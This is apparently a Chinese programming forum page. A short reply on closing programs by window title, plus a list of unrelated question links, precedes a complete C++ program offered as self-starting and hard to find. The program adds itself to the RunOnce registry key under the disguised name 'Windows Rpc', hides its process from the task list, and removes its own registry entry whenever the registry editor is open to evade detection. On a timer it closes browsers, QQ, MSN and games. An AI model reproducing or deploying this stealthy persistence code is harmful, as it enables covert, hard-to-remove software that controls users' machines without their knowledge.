就我知道 我们这些菜鸟一般是 getwindowtitle() 然后判断标题是不是
那个程序 是就关掉
几乎所有用 VB写的 程序都这样
那些网吧管理软件也是这样的
那个程序 是就关掉
几乎所有用 VB写的 程序都这样
那些网吧管理软件也是这样的
解决方案 »
- MFC多重非模式对话框导致内存泄露
- CArchive类的一个问题,试图超越其尾端对一未命名文件进行读写
- 关于SetClassLong!
- 请问updatedata是什么具体意思啊
- 如何让vc自动生成析构函数?
- Debug版本通过,release版本却出错,请大家进来看看!
- 我想让程序随timer(timer达到一定的数值的时候),自动改变描画对象的颜色,如何动态的设定timer的RGB颜色(rgb值改变多少)能够足以从
- 如何使CEdit的滚动条自动显示
- COblist使用中的问
- vc怎么取得avi每帧的图像?
- CInternetSession sess(_T("Internet Explorer"));会不会用自动使用IE的代理服务器?
- 哪位知道smtp和pop3的定义及区别 ?
自動運行,並不能明顯地被查找到.#include "stdafx.h"
#include <stdlib.h>#define MAXLEN 255
#define IDT_TIMER 1000void HideProcess();
BOOL Register();
BOOL DelRegister();
BOOL CALLBACK EnumWinProc(HWND,LPARAM);
VOID CALLBACK TimerProc(HWND,UINT,UINT_PTR,DWORD);int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
Register();
HideProcess(); SetTimer(NULL,1,IDT_TIMER,(TIMERPROC)TimerProc);
MSG msg;
while (GetMessage(&msg, NULL, 0,0))
{
DispatchMessage(&msg);
}
return msg.wParam;
}BOOL CALLBACK EnumWinProc(HWND hwnd, LPARAM lParam)
{
TCHAR szTitle[MAXLEN];
TCHAR szClass[MAXLEN];
BOOL bKill=FALSE;
//禁止項目如下所示,如需要自已加上去
GetClassName(hwnd, szClass,sizeof(szClass));
GetWindowText(hwnd,szTitle,sizeof(szTitle));
if(!strcmp(szClass,"IEFrame"))//上網
bKill=TRUE;
else if(!strcmp(szClass,"LinezWindow"))
bKill=TRUE;
else if (!strcmp(szClass,"Solitaire"))
bKill=TRUE;
else if(!strcmp(szClass,"FreeWClass"))
bKill=TRUE;
else if(!strcmp(szClass,"AfxFrameOrView"))
bKill=TRUE;
else if(!strcmp(szClass,"踩地雷"))
bKill=TRUE;
else if(!strcmp(szClass,"tty"))
bKill=TRUE;
else if(!strcmp(szClass,"JetCar Class"))
bKill=TRUE;
else if(strstr(szClass,"Afx:400000:b:"))
bKill=TRUE;
else if(!strcmp(szClass,"Flip")||strstr(szTitle,"Tank 2000"))
bKill=TRUE;
else if(strstr(szClass,"#32770")){
long oicq=atol(szTitle);
if (oicq>10000)bKill=TRUE;
}
else{
if (strstr(szTitle,"http://")||strstr(szTitle,"Internte Explorer")||strstr(szTitle,"Tencent Explorer")||strstr(szTitle,"MSN Mess"))
bKill=TRUE;
}
if (bKill)::PostMessage(hwnd,WM_CLOSE,0,0);
return TRUE;
}VOID CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime)
{
//此句目的,不讓打開注冊表時被發現.
if(::FindWindow("RegEdit_RegEdit",NULL)!=NULL)DelRegister();
else Register();
EnumWindows((WNDENUMPROC)EnumWinProc,0L);
}BOOL DelRegister()
{
HKEY hKEY;
long ret;
LPCTSTR Rgspath="Software\\Microsoft\\Windows\\Currentversion\\Runonce";
//Open key
ret=RegOpenKeyEx(HKEY_CURRENT_USER,Rgspath,0,KEY_ALL_ACCESS, &hKEY);
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return FALSE;
}
//DELETE values
ret=RegDeleteValue(hKEY,"Windows Rpc");
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return FALSE;
}else RegFlushKey (hKEY);
RegCloseKey(hKEY);
return TRUE;
}BOOL Register()
{
HKEY hKEY;
char CurrentPath[MAX_PATH];
char SysPath[MAX_PATH];
long ret;
DWORD type=REG_SZ;
DWORD size=MAX_PATH;
LPCTSTR Rgspath="Software\\Microsoft\\Windows\\Currentversion\\Runonce"; //Get System Path
GetSystemDirectory(SysPath,size);
GetModuleFileName(NULL,CurrentPath,size);
//Open key
ret=RegOpenKeyEx(HKEY_CURRENT_USER,Rgspath,0,KEY_WRITE, &hKEY);
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return FALSE;
} //Set Key
ret=RegSetValueEx(hKEY,"Windows Rpc",NULL,type,(const unsigned char*)CurrentPath,size);
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return FALSE;
}
RegCloseKey(hKEY); return TRUE;
}void HideProcess()
{
HINSTANCE hInst = LoadLibrary("KERNEL32.DLL");
if(hInst)
{
typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD);
MYFUNC RegisterServiceProcessFun = NULL;
RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess");
if(RegisterServiceProcessFun)
{
RegisterServiceProcessFun(GetCurrentProcessId(),1);
}
FreeLibrary(hInst);
}
}